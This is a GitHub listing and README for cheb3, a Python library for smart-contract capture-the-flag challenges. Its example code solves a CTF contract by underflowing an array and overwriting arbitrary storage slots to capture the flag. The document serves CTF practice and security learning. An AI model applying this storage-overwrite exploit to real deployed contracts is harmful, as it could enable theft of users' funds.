https://github.com/yanhuijessica/cheb3
🐣 web3 CTF tool based on web3.py
https://github.com/yanhuijessica/cheb3
blockchain ctf ctf-tools ethereum evm evm-chains foundry python3 smart-contracts web3 web3py
Last synced: 5 days ago
JSON representation
🐣 web3 CTF tool based on web3.py
- Host: GitHub
- URL: https://github.com/yanhuijessica/cheb3
- Owner: YanhuiJessica
- License: mit
- Created: 2023-02-23T05:59:37.000Z (over 2 years ago)
- Default Branch: main
- Last Pushed: 2025-09-28T06:32:52.000Z (19 days ago)
- Last Synced: 2025-09-28T08:31:40.574Z (18 days ago)
- Topics: blockchain, ctf, ctf-tools, ethereum, evm, evm-chains, foundry, python3, smart-contracts, web3, web3py
- Language: Python
- Homepage: https://cheb3.readthedocs.io/en/latest/
- Size: 408 KB
- Stars: 41
- Watchers: 2
- Forks: 5
- Open Issues: 0
-
Metadata Files:
- Readme: README.rst
- License: LICENSE
Awesome Lists containing this project
README
.. raw:: html
🐣 web3 CTF tool based on web3.py
Installation
============
`cheb3` can be installed using `pip` as follows:
.. code-block:: shell
$ python3 -m pip install cheb3
With `virtualenv` (Recommended)
-------------------------------
You can setup a clean environment for `cheb3`:
.. code-block:: shell
$ python3 -m pip install virtualenv
$ virtualenv -p python3 ~/.cheb3_env # Create a virtual environment
$ source ~/.cheb3_env/bin/activate # Activate the new virtual environment
$ pip install -U cheb3 # Install cheb3 in the virtual environment
Then, activate this environment every time before using `cheb3`:
.. code-block:: shell
$ source ~/.cheb3_env/bin/activate
(.cheb3_env) $
.. end-of-readme-intro
Examples
========
Without `cheb3`, you might write code like this:
.. code-block:: python
# https://yanhuijessica.github.io/Chictf-Writeups/blockchain/static/totally-secure-dapp.zip
from web3 import Web3
import json
def transact(func, gas=1000000, gas_price=None):
tx = account.sign_transaction(eval(func).build_transaction({
'chainId': w3.eth.chain_id,
'nonce': w3.eth.get_transaction_count(account.address),
'gas': gas,
'gasPrice': gas_price if gas_price else w3.eth.gas_price,
})).raw_transaction
tx_hash = w3.eth.send_raw_transaction(tx).hex()
return w3.eth.wait_for_transaction_receipt(tx_hash)
w3 = Web3(Web3.HTTPProvider(""))
account = w3.eth.account.from_key("")
challenge_addr = ""
abi = json.loads(open("abi.json").read())
challenge = w3.eth.contract(address=challenge_addr, abi=abi)
transact("challenge.functions.removePost(1)")
index = 2**256 - int(Web3.solidity_keccak(['uint256'], [3]).hex(), 16) + 2
transact(f"challenge.functions.editPost({index}, 'unimportant', 'unimportant')")
transact("challenge.functions.captureFlag()")
With `cheb3`, you can write code like this:
.. code-block:: python
from web3 import Web3
from cheb3 import Connection
from cheb3.utils import load_compiled
conn = Connection("")
account = conn.account("")
challenge_addr = ""
abi, _ = load_compiled("TotallySecureDapp.sol")
challenge = conn.contract(account, challenge_addr, abi=abi)
challenge.functions.removePost(1).send_transaction()
index = 2**256 - int(Web3.solidity_keccak(['uint256'], [3]).hex(), 16) + 2
challenge.functions.editPost(index, "unimportant", "unimportant").send_transaction()
challenge.functions.captureFlag().send_transaction()
Other examples of using `cheb3` in CTF challenges can be found in `/examples `_.
Documentation
=============
- Quick Start
- `Making Connections `_
- `Interaction Basis `_
- API Reference
- `Connection `_
- `Account `_
- `Contract `_
- `cheb3.utils `_
